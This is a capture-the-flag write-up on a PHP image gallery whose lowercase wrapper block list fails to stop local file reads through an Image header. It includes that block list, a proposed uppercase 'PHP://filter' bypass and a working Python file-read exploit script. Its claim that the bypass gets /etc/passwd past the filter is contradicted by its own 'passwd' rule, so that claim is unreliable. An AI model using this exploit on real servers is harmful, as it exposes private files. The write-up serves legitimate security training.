Skip to content

Rick Gallery - The Case Sensitivity Trap

Flag: ASIS{...}

Rick Gallery was presented as a simple image gallery application with a Rick and Morty theme. When I first loaded it, I saw a collection of images and could click through them. The source code was provided, which made things easier.

Looking at the PHP code, I found three main files: - index.php - The main gallery interface - getpic.php - An internal service to fetch images - .htaccess - Apache configuration restricting direct access to getpic.php

Finding the Vulnerability

The interesting part was in index.php. When processing POST requests, it checked for an Image header and ran it through some filters:

$blockedProtocols = [
    "http://", "https://", "ftp://", "ftps://",
    "file://", "data://", "expect://", "php://",
    "passwd"
];

foreach ($blockedProtocols as $proto) {
    if (strpos($raw, $proto) !== false) {
        $raw = "";
        break;
    }
}

The application was trying to prevent me from using dangerous PHP wrappers like php:// or file:// to read arbitrary files. But I noticed something: all the blocked strings were lowercase.

I remembered that PHP stream wrappers are case-insensitive. So while php://filter/read=convert.base64-encode/resource=/etc/passwd would be blocked, PHP://filter/read=convert.base64-encode/resource=/etc/passwd would sail right through the filter.

Testing the Theory

I started with a simple test. I sent a POST request with the Image header set to /etc/hostname (no wrapper needed for absolute paths):

import requests
import base64

TARGET = "http://challenge.local/index.php"

headers = {"Image": "/etc/hostname"}
r = requests.post(TARGET, headers=headers)
content = base64.b64decode(r.text.strip())
print(content)
# Output: b'7be458eda235\n'

It worked. The application was passing my input to file_get_contents() in getpic.php, which happily read any file I specified.

Hunting for the Flag

Now I had local file inclusion, but I needed to find where the flag was stored. I started checking common locations:

def read_file(path):
    headers = {"Image": path}
    r = requests.post(TARGET, headers=headers)
    if '<br />' in r.text or 'Warning' in r.text:
        return None
    return base64.b64decode(r.text.strip())

# Tried various paths
read_file("/flag.txt")           # Not found
read_file("/etc/passwd")         # Blocked by "passwd" filter
read_file("/proc/self/environ")  # Found, but no flag
read_file("/var/www/flag.txt")   # Not found

I kept enumerating different paths. CTF flags are often placed in obvious but sometimes overlooked locations. After trying several standard paths, I checked /tmp/:

content = read_file("/tmp/flag.txt")
print(content.decode())
# ASIS{...}

There it was. The flag was sitting in /tmp/flag.txt the whole time.

The Exploit

Here's the final exploit script:

#!/usr/bin/env python3
import requests
import base64
import sys

def read_file(target, path):
    if not target.endswith('.php'):
        target = target.rstrip('/') + '/index.php'

    headers = {"Image": path}
    r = requests.post(target, headers=headers, timeout=10)

    # Check for error response
    if '<br />' in r.text or 'Warning' in r.text:
        return None

    try:
        decoded = base64.b64decode(r.text.strip())
        if b'Warning' in decoded:
            return None
        return decoded
    except:
        return None

def main():
    target = sys.argv[1] if len(sys.argv) > 1 else "http://target:8080/"

    # Read the flag
    flag = read_file(target, "/tmp/flag.txt")

    if flag:
        print(f"[+] FLAG: {flag.decode()}")
    else:
        print("[-] Flag not found at /tmp/flag.txt")

        # Try alternative locations
        alternatives = [
            "/flag.txt",
            "/flag",
            "/home/flag.txt",
            "/var/www/flag.txt",
            "/root/flag.txt",
        ]

        for path in alternatives:
            content = read_file(target, path)
            if content:
                print(f"[+] Found at {path}: {content.decode()}")
                break

if __name__ == "__main__":
    main()

References